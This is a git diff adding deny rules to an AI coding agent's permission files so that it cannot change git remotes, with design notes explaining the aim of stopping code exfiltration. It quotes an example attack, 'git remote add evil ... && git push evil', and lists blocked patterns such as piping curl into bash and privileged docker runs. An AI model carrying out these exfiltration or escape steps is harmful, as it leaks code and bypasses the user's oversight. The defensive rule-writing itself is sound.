diff --git a/.claude/settings.json b/.claude/settings.json index 4090b14..2365900 100644 --- a/.claude/settings.json +++ b/.claude/settings.json @@ -31,6 +31,8 @@ "deny": [ "Bash(gh secret *)", "Bash(gh auth *)", "Bash(gh ssh-key *)", "Bash(gh gpg-key *)", "Bash(git clean *)", "Bash(git config *)", + "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)", + "Bash(*git remote rename *)", "Bash(*git remote set-head *)", "Bash(uv self *)" ], "ask": [ diff --git a/.devcontainer/permissions/tier1-assisted.json b/.devcontainer/permissions/tier1-assisted.json index 4641c0c..623f9cc 100644 --- a/.devcontainer/permissions/tier1-assisted.json +++ b/.devcontainer/permissions/tier1-assisted.json @@ -24,7 +24,9 @@ "Bash(*gh pr merge *)", "Bash(*gh workflow run *)", "Bash(*gh workflow enable *)", "Bash(*gh workflow disable *)", "Bash(*gh issue create *)", "Bash(*gh issue close *)", "Bash(*gh issue edit *)", - "Bash(*terraform *)" + "Bash(*terraform *)", + "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)", + "Bash(*git remote rename *)", "Bash(*git remote set-head *)" ] }, "enabledPlugins": { diff --git a/.devcontainer/permissions/tier2-autonomous.json b/.devcontainer/permissions/tier2-autonomous.json index 36785d3..8563990 100644 --- a/.devcontainer/permissions/tier2-autonomous.json +++ b/.devcontainer/permissions/tier2-autonomous.json @@ -23,7 +23,9 @@ "Bash(*cargo install *)", "Bash(*go install *)", "Bash(*gem install *)", "Bash(*uv tool install *)", "Bash(*uv tool *)", "Bash(*apt install *)", "Bash(*apt-get install *)", "Bash(*dpkg -i *)", - "Bash(*snap install *)", "Bash(*brew install *)" + "Bash(*snap install *)", "Bash(*brew install *)", + "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)", + "Bash(*git remote rename *)", "Bash(*git remote set-head *)" ] }, "enabledPlugins": { diff --git a/.devcontainer/permissions/tier3-full-trust.json b/.devcontainer/permissions/tier3-full-trust.json index 0fedac7..fa4f76c 100644 --- a/.devcontainer/permissions/tier3-full-trust.json +++ b/.devcontainer/permissions/tier3-full-trust.json @@ -12,7 +12,9 @@ "Bash(*docker run --privileged *)", "Bash(*docker run --cap-add=ALL *)", "Bash(*docker run --pid=host *)", - "Bash(*docker run --network=host *)" + "Bash(*docker run --network=host *)", + "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)", + "Bash(*git remote rename *)", "Bash(*git remote set-head *)" ] }, "enabledPlugins": { diff --git a/docs/DECISIONS.md b/docs/DECISIONS.md index 4337f97..d132be6 100644 --- a/docs/DECISIONS.md +++ b/docs/DECISIONS.md @@ -181,3 +181,12 @@ When a decision is superseded or obsolete, delete it (git history preserves the - Delete `claude-code-review.yml` entirely -- the local code-reviewer agent provides the same review before PR creation, and the CI workflow required managing an `ANTHROPIC_API_KEY` secret in GitHub - Keep `dangerous-actions-blocker.sh` `ANTHROPIC_API_KEY=` pattern unchanged -- it blocks secrets in commands generally, not CI-specific - Keep `docs/IMPLEMENTATION_PLAN.md` unchanged -- historical record of completed work + +## 2026-03-16: Git Remote Mutation Deny Rules + +**Request**: Prevent code exfiltration by blocking `git remote add evil https://... && git push evil` attack pattern. + +**Decisions**: +- Deny `git remote add`, `set-url`, `remove`, `rename`, `set-head` in settings.json and all tier files -- read-only `git remote -v` remains allowed via the existing `Bash(git remote *)` allow rule +- Deny rules are absolute in Claude Code (cannot be overridden by allow), making this the correct control layer vs hooks +- Tier files use wildcard prefix `Bash(*git remote add *)` to catch chained command variants diff --git a/docs/DEVCONTAINER_PERMISSIONS.md b/docs/DEVCONTAINER_PERMISSIONS.md index 9e8eafc..b7ad281 100644 --- a/docs/DEVCONTAINER_PERMISSIONS.md +++ b/docs/DEVCONTAINER_PERMISSIONS.md @@ -45,6 +45,7 @@ Regardless of tier, these layers provide defense-in-depth: | `docker run --privileged` | Use `docker run` without `--privileged` | Container escape vector | | `curl ... \| bash` / `wget ... \| sh` | Do not pipe remote scripts. Add to Dockerfile instead. | Supply-chain attack vector | | `cd path && command` | Use absolute paths: `command /absolute/path` | Chained commands bypass glob-based permission checks | +| `git remote add/set-url/remove/rename/set-head` | Ask the user to manage remotes | Prevents code exfiltration to unauthorized remotes | ## Tier Comparison